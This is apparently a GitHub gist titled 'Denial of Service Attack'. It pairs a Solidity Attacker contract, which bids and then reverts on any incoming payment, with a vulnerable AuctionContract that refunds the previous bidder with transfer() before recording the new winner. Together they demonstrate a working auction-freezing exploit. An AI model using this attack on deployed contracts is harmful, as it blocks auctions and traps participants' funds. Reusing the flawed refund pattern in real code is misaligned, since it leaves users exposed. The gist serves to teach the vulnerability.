Created
August 30, 2022 05:16
-
-
Save depresto/767b5c82050c9bf0fe76b7a8c5141051 to your computer and use it in GitHub Desktop.
Denial of Service Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "./AuctionContract.sol"; | |
contract Attacker { | |
AuctionContract auction; | |
constructor(address auctionAddress) { | |
auction = AuctionContract(auctionAddress); | |
} | |
function placeBid() public payable { | |
auction.placeBid{value: msg.value}(); | |
} | |
fallback() external payable { | |
revert(); | |
} | |
receive() external payable { | |
revert(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "@openzeppelin/contracts/utils/math/SafeMath.sol"; | |
contract AuctionContract { | |
address payable public winnerAddress; | |
uint256 public winnerAmount; | |
function placeBid() public payable returns(uint256) { | |
require(msg.value > winnerAmount, "Amount is not enough"); | |
winnerAddress.transfer(winnerAmount); | |
winnerAmount = msg.value; | |
winnerAddress = payable(msg.sender); | |
return winnerAmount; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment